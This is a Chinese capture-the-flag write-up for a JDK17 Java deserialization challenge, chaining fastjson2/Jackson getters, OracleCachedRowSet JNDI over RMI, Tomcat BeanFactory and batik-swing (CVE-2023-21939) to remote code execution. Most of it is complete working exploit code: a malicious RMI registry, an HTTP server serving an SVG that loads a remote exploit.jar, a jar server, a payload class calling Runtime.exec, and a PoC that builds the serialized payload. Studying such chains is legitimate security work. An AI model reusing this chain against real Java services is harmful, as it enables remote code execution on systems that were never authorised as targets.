依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <version>3.5.5</version> </dependency>
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-thymeleaf</artifactId> </dependency>
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency>
<dependency> <groupId>com.oracle.database.jdbc</groupId> <artifactId>ojdbc11</artifactId> <version>21.14.0.0</version> </dependency>
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jdbc</artifactId> <version>10.1.31</version> </dependency>
<dependency> <groupId>org.apache.xmlgraphics</groupId> <artifactId>batik-swing</artifactId> <version>1.14</version> </dependency>
<dependency> <groupId>com.alibaba.fastjson2</groupId> <artifactId>fastjson2</artifactId> <version>2.0.37</version> </dependency>
|
一道jdk17的题
先分析能利用的资源:
- springboot自带的jackson链
- fastjson2的原生反序列化链
- springboot里带的tomcat-embed-core,有BeanFactory,可以在JNDI的时候用。这里是10.1.31版本,那forceString用不了,但是还是可以触发setter
- ojdbc,没见过。但是和数据库有关的,要么是直接jdbc,比如经典的mysql-jdbc,要么是打jndi。目前高版本jdk的题,如果是内存数据库喜欢考jdbc,如果不是内存数据库喜欢考jndi。等下可以注意一下里面是否有jndi注入点
- batik-swing,没见过,且没思路。看了wp才知道是和jndi结合起来用,算高版本jndi之xxe利用吧。参考 JDK CVE-2023-21939 分析利用
看一下题目的反序列化点:
现在能够大概确定一个思路:
1、EventListenerList+fastjson2/jackson,触发getter
2、某个getter触发jndi
3、jndi结合batik-swing实现rce
OracleCachedRowSet链
现在尝试找一下有没有能触发jndi的getter,这里用tabby找:
建议路径一开始别设置太长,先从短链找起。排除一些不能序列化,没有exports的类后,能够发现oracle.jdbc.rowset.OracleCachedRowSet#getConnection。具体看一下它调用的getConnectionInternal,能够发现是可用的,不过只有rmi协议可用,因为有个validateJNDIName(),里面不允许ldap。
后面还不太清楚,先搬运一下。
先起rmi服务器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("org.apache.batik.swing.JSVGCanvas", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("URI", "http://localhost:8886/1.xml"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("remoteobj", referenceWrapper); } }
|
再起xml服务器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpServer;
import java.io.IOException; import java.io.OutputStream; import java.net.InetSocketAddress;
public class XmlServer { public static void main(String[] args) throws IOException { HttpServer server = HttpServer.create(new InetSocketAddress(8886), 0); server.createContext("/1.xml", new Xml1Handler()); server.createContext("/2.xml", new Xml2Handler()); server.setExecutor(null); server.start();
System.out.println("Server started on port 8886"); }
static class Xml1Handler implements HttpHandler { @Override public void handle(HttpExchange exchange) throws IOException { exchange.getResponseHeaders().set("Content-Type", "application/xml"); exchange.getResponseHeaders().set("Access-Control-Allow-Origin", "*"); exchange.sendResponseHeaders(200, 0); String xml = "<svg xmlns=\"http://www.w3.org/2000/svg\" " + "xmlns:xlink=\"http://www.w3.org/1999/xlink\" " + "version=\"1.0\"> <script type=\"application/java-archive\" " + "xlink:href=\"http://localhost:8887/exploit.jar\"/> " + "<text>Static text ...</text> </svg>"; OutputStream responseBody = exchange.getResponseBody(); responseBody.write(xml.getBytes()); responseBody.close(); } } static class Xml2Handler implements HttpHandler { @Override public void handle(HttpExchange exchange) throws IOException { exchange.getResponseHeaders().set("Content-Type", "application/xml"); exchange.getResponseHeaders().set("Access-Control-Allow-Origin", "*"); exchange.sendResponseHeaders(200, 0); String xml = "<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"100\" " + "height=\"100\"> <circle cx=\"50\" cy=\"50\" r=\"50\" fill=\"green\" " + "onload=\"showFrame()\"/> <script type=\"text/ecmascript\"> " + "importPackage(Packages.java.lang); function showFrame() { " + "Runtime.getRuntime().exec(\"calc.exe\"); } </script> </svg>"; OutputStream responseBody = exchange.getResponseBody(); responseBody.write(xml.getBytes()); responseBody.close(); } } }
|
再起http服务器:
这个直接python -m http.server 8887 也一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpServer;
import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.InetSocketAddress;
public class JarServer { public static void main(String[] args) throws IOException { HttpServer server = HttpServer.create(new InetSocketAddress(8887), 0); server.createContext("/exploit.jar", new BinaryHandler()); server.setExecutor(null); server.start(); System.out.println("Server started on port 8887"); } public static byte[] readInputStream(InputStream inputStream) { byte[] temp = new byte[4096]; int readOneNum = 0; ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { while ((readOneNum = inputStream.read(temp)) != -1) { bos.write(temp, 0, readOneNum); } inputStream.close(); } catch (Exception ignored) { } return bos.toByteArray(); } static class BinaryHandler implements HttpHandler { @Override public void handle(HttpExchange exchange) throws IOException { System.out.println("get request"); byte[] data = readInputStream(JarServer.class.getClassLoader() .getResourceAsStream("exploit.jar")); exchange.getResponseHeaders().set("Content-Type", "application/octet-stream"); exchange.getResponseHeaders().set("Access-Control-Allow-Origin", "*"); exchange.sendResponseHeaders(200, data.length); OutputStream responseBody = exchange.getResponseBody(); responseBody.write(data); responseBody.close(); } } }
|
jar包里的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import org.w3c.dom.events.Event; import org.w3c.dom.events.EventListener; import org.w3c.dom.svg.EventListenerInitializer; import org.w3c.dom.svg.SVGDocument; import org.w3c.dom.svg.SVGSVGElement;
public class Exploit implements EventListenerInitializer { public Exploit() { }
public void initializeEventListeners(SVGDocument document) { SVGSVGElement root = document.getRootElement(); EventListener listener = new EventListener() { public void handleEvent(Event event) { try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { } } }; root.addEventListener("SVGLoad", listener, false); } }
|
最终Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package com.example.solution;
import com.alibaba.fastjson2.JSONArray; import com.fasterxml.jackson.databind.node.POJONode; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import oracle.jdbc.rowset.OracleCachedRowSet;
import javax.swing.event.EventListenerList; import java.io.FileOutputStream; import java.util.Base64;
public class Poc { public static void main(String[] args) throws Exception {
OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet(); oracleCachedRowSet.setDataSourceName("rmi://localhost:1097/remoteobj"); Object o = GadgetUtils17.makeObjectAopProxy(oracleCachedRowSet);
JSONArray jsonArray = new JSONArray(); jsonArray.add(o);
POJONode node = GadgetUtils17.JacksonToString2GetterBetter(oracleCachedRowSet);
EventListenerList list = GadgetUtils17.eventListenerList(jsonArray);
byte[] ser = Tools17.ser(list); String s = Base64.getEncoder().encodeToString(ser); new FileOutputStream("D://1tmp//payload.txt").write(s.getBytes()); Tools17.deser(ser);
} }
|
LdapAttribute链
这个方法我没试过,不过应该也可以
可以看JDK17打Jackson+LdapAttruibute反序列化 | GSBP’s Blog
参考
https://github.com/Y4Sec-Team/CVE-2023-21939
来自三道高版本JDK的JDBC连打combo - EddieMurphy’s blog
软件攻防赛JDBCParty赛后解-先知社区
高版本JNDI注入-高版本Tomcat利用方案-先知社区 这里有讲BeanFactory还能触发setter
从2025系统安全防护赛JDBCParty学习高版本JDK和高版本Tomcat打JNDI到RCE | J1rrY’s Blog 这里具体讲了jar包怎么来
探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 这里讲了高版本下jndi怎么打,有提到本题的xxe利用
JDK CVE-2023-21939 分析利用batik-swing 组件造成的 rce 漏洞-先知社区 关于本题batik-swing怎么用